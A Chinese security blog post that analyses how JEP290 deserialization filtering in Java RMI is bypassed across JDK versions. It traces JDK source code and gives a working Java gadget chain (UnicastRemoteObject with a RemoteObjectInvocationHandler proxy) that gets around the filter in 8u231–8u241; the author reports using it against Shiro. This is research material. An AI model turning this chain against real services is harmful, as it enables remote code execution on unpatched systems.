前言
之前在8u281版本上使用JRMPClient的利用链时,反序列化JRMPListener传输过来的数据时失败了,然后找到了相关的文章,学习学习。
JEP290
JEP290用于过滤输入的序列化数据,缓解反序列化攻击,按照参考文章的说法:
1、提供一个限制反序列化类的机制,白名单或者黑名单。
2、限制反序列化的深度和复杂度。
3、为RMI远程调用对象提供了一个验证类的机制。
4、定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器。
简单来说就是给反序列化做了个安全检验。JEP290本来是JDK9的新特性,但为了安全性之类的理由还将其移植到了早期版本中,JDK9以下的适用版本为:
Java™ SE Development Kit 8, Update 121 (JDK 8u121)
Java™ SE Development Kit 7, Update 131 (JDK 7u131)
Java™ SE Development Kit 6, Update 141 (JDK 6u141)
攻击手法
以前学习过这个问题,主要分为三个版本段来操作。
攻击低版本注册中心(<8u121)
没有白名单,直接打。
攻击中版本注册中心(>=8u121,<8u231)
用ysoserial的JRMPClient绕过白名单来打。
攻击中高版本注册中心(>=8u231,<8u241)
反序列化JRMPClient建立的连接进行的反序列化操作也加上了白名单验证,无法反序列化回传的利用链。JRMPClient反序列化链会经过DGCImpl_Stub类的dirty函数:
StreamRemoteCall var5 = (StreamRemoteCall)this.ref.newCall(this, operations, 1, -669196253586618813L);
var5.setObjectInputFilter(DGCImpl_Stub::leaseFilter);
这里给将过滤函数设置为了DGCImpl_Stub类的leaseFilter函数,在后面执行executeCall函数时会调用getInputStream来获取输入流:
public ObjectInput getInputStream() throws IOException {
if (this.in == null) {
Transport.transportLog.log(Log.VERBOSE, "getting input stream");
this.in = new ConnectionInputStream(this.conn.getInputStream());
if (this.filter != null) {
AccessController.doPrivileged(() -> {
Config.setObjectInputFilter(this.in, this.filter);
return null;
});
}
}
return this.in;
}
此时就会将该过滤函数设置到输入流对象中,后面执行反序列化操作时就会通过这个过滤函数进行检查。
所以想要绕过这个过滤函数,就需要找到另一条相似结果的反序列化链,且途中不会经过DGCImpl_Stub类的dirty函数。参考文章中描述了一条新的利用链,通过UnicastRemoteObject类可以触发一个未经安全验证的反序列化操作,其readObject函数如下:
private void readObject(java.io.ObjectInputStream in)
throws java.io.IOException, java.lang.ClassNotFoundException
{
in.defaultReadObject();
reexport();
}
private void reexport() throws RemoteException
{
if (csf == null && ssf == null) {
exportObject((Remote) this, port);
} else {
exportObject((Remote) this, port, csf, ssf);
}
}
public static Remote exportObject(Remote obj, int port,
RMIClientSocketFactory csf,
RMIServerSocketFactory ssf)
throws RemoteException
{
return exportObject(obj, new UnicastServerRef2(port, csf, ssf));
}
private static Remote exportObject(Remote obj, UnicastServerRef sref)
throws RemoteException
{
// if obj extends UnicastRemoteObject, set its ref.
if (obj instanceof UnicastRemoteObject) {
((UnicastRemoteObject) obj).ref = sref;
}
return sref.exportObject(obj, null, false);
}
在最后的exportObject函数中,因为第一参数obj为自身且自身不是UnicastRemoteObject的子类,第二参数为新建的UnicastServerRef2对象:
// UnicastServerRef2的构造函数
public UnicastServerRef2(int var1, RMIClientSocketFactory var2, RMIServerSocketFactory var3) {
super(new LiveRef(var1, var2, var3));
}
// 父类UnicastServerRef的构造函数
public UnicastServerRef(LiveRef var1) {
super(var1);
this.forceStubUse = false;
this.hashToMethod_Map = null;
this.methodCallIDCount = new AtomicInteger(0);
this.filter = null;
}
// 再上级父类UnicastRef的构造函数
public UnicastRef(LiveRef var1) {
this.ref = var1;
}
最后会将UnicastRemoteObject对象的port、csf、ssf三个属性合并成一个LiveRef对象放入新UnicastServerRef2对象的ref属性中,并会调用UnicastServerRef2类的exportObject函数,该函数来自其父类UnicastServerRef:
public RemoteStub exportObject(Remote var1, Object var2) throws RemoteException {
this.forceStubUse = true;
return (RemoteStub)this.exportObject(var1, var2, false);
}
public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException {
Class var4 = var1.getClass();
Remote var5;
try {
var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);
} catch (IllegalArgumentException var7) {
throw new ExportException("remote object implements illegal remote interface", var7);
}
if (var5 instanceof RemoteStub) {
this.setSkeleton(var1);
}
Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
this.ref.exportObject(var6);
this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
return var5;
}
这里的ref即LiveRef对象,来到LiveRef类的exportObject函数:
public LiveRef(ObjID var1, Endpoint var2, boolean var3) {
this.ep = var2;
this.id = var1;
this.isLocal = var3;
}
public LiveRef(int var1, RMIClientSocketFactory var2, RMIServerSocketFactory var3) {
this(new ObjID(), var1, var2, var3);
}
public LiveRef(ObjID var1, int var2, RMIClientSocketFactory var3, RMIServerSocketFactory var4) {
this(var1, TCPEndpoint.getLocalEndpoint(var2, var3, var4), true);
}
public void exportObject(Target var1) throws RemoteException {
this.ep.exportObject(var1);
}
ep是一个用前面UnicastRemoteObject对象的port、csf、ssf三个属性制作的TCPEndpoint对象,其exportObject函数如下:
public void exportObject(Target var1) throws RemoteException {
this.transport.exportObject(var1);
}
即TCPTransport类的exportObject函数:
public void exportObject(Target var1) throws RemoteException {
synchronized(this) {
this.listen();
++this.exportCount;
}
...
}
private void listen() throws RemoteException {
assert Thread.holdsLock(this);
TCPEndpoint var1 = this.getEndpoint();
int var2 = var1.getPort();
if (this.server == null) {
if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF, "(port " + var2 + ") create server socket");
}
try {
this.server = var1.newServerSocket();
Thread var3 = (Thread)AccessController.doPrivileged(new NewThreadAction(new TCPTransport.AcceptLoop(this.server), "TCP Accept-" + var2, true));
var3.start();
}
...
}
...
}
这里会调用TCPEndpoint的newServerSocket函数:
ServerSocket newServerSocket() throws IOException {
if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
TCPTransport.tcpLog.log(Log.VERBOSE, "creating server socket on " + this);
}
Object var1 = this.ssf;
if (var1 == null) {
var1 = chooseFactory();
}
ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort);
if (this.listenPort == 0) {
setDefaultPort(var2.getLocalPort(), this.csf, this.ssf);
}
return var2;
}
可以看到,这里将port作为参数传入调用了ssf属性的createServerSocket函数。
简单找一下,只看到有一个RMISocketFactory类继承了这个RMIServerSocketFactory接口,然而其createServerSocket函数如下:
public abstract ServerSocket createServerSocket(int port)
throws IOException;
它并没有实现这个函数。但这不代表这里就没有操作余地,像这种视作接口进行函数调用的方式,我们还有另一种选择,那就是动态代理。
存在一个动态代理类RemoteObjectInvocationHandler,其invoke函数如下:
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable
{
...
if (method.getDeclaringClass() == Object.class) {
return invokeObjectMethod(proxy, method, args);
} else if ("finalize".equals(method.getName()) && method.getParameterCount() == 0 &&
!allowFinalizeInvocation) {
return null; // ignore
} else {
return invokeRemoteMethod(proxy, method, args);
}
}
private Object invokeRemoteMethod(Object proxy,
Method method,
Object[] args)
throws Exception
{
try {
if (!(proxy instanceof Remote)) {
throw new IllegalArgumentException(
"proxy not Remote instance");
}
return ref.invoke((Remote) proxy, method, args,
getMethodHash(method));
}
...
}
可以看到,如果我们将ref设置为一个UnicastRef对象,就可以调用其invoke函数:
public Object invoke(Remote var1, Method var2, Object[] var3, long var4) throws Exception {
...
Connection var6 = this.ref.getChannel().newConnection();
StreamRemoteCall var7 = null;
boolean var8 = true;
boolean var9 = false;
Object var11;
try {
if (clientRefLog.isLoggable(Log.VERBOSE)) {
clientRefLog.log(Log.VERBOSE, "opnum = " + var4);
}
var7 = new StreamRemoteCall(var6, this.ref.getObjID(), -1, var4);
try {
ObjectOutput var10 = var7.getOutputStream();
this.marshalCustomCallData(var10);
var11 = var2.getParameterTypes();
for(int var12 = 0; var12 < ((Object[])var11).length; ++var12) {
marshalValue((Class)((Object[])var11)[var12], var3[var12], var10);
}
}
...
var7.executeCall();
...
}
...
}
可以看到,这里同样可以发起一个连接,并且回到了StreamRemoteCall类的executeCall函数,即JRMPClient利用链中客户端反序列化接收到的数据的代码部分。同时由于过程中没有调用setObjectInputFilter的地方,所以也不会触发过滤函数。
接下来就开始测试利用链了,像参考文章那样拼装一下就行了:
String ip = "127.0.0.1";
int port = 1099;
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(ip, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(ref);
RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
RMIServerSocketFactory.class.getClassLoader(), new Class[] {
RMIServerSocketFactory.class, Remote.class
}, remoteObjectInvocationHandler);
UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject)Utils.createWithoutConstructor("java.rmi.server.UnicastRemoteObject");
Utils.setField(unicastRemoteObject, "ssf", rmiServerSocketFactory);
Utils.setField(unicastRemoteObject, "ref", ref);
return unicastRemoteObject;
最后顺手给shiro打一发,没问题通了。
攻击高版本注册中心、服务端、客户端(>=8u241)
对RemoteObjectInvocationHandler类的invokeRemoteMethod函数做了修改:
// Verify that the method is declared on an interface that extends Remote
Class<?> decl = method.getDeclaringClass();
if (!Remote.class.isAssignableFrom(decl)) {
throw new RemoteException("Method is not Remote: " + decl + "::" + method);
}
return ref.invoke((Remote) proxy, method, args,
getMethodHash(method));
在调用UnicastRef.invoke之前对代理的函数做了验证,要求声明该函数的类必须继承Remote接口,然而RMIServerSocketFactory接口:
public interface RMIServerSocketFactory {
/**
* Create a server socket on the specified port (port 0 indicates
* an anonymous port).
* @param port the port number
* @return the server socket on the specified port
* @exception IOException if an I/O error occurs during server socket
* creation
* @since 1.2
*/
public ServerSocket createServerSocket(int port)
throws IOException;
}
没有继承,所以就通不过,也就无法打通了。
那么该怎么攻击?我不知道啊!
参考文章
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!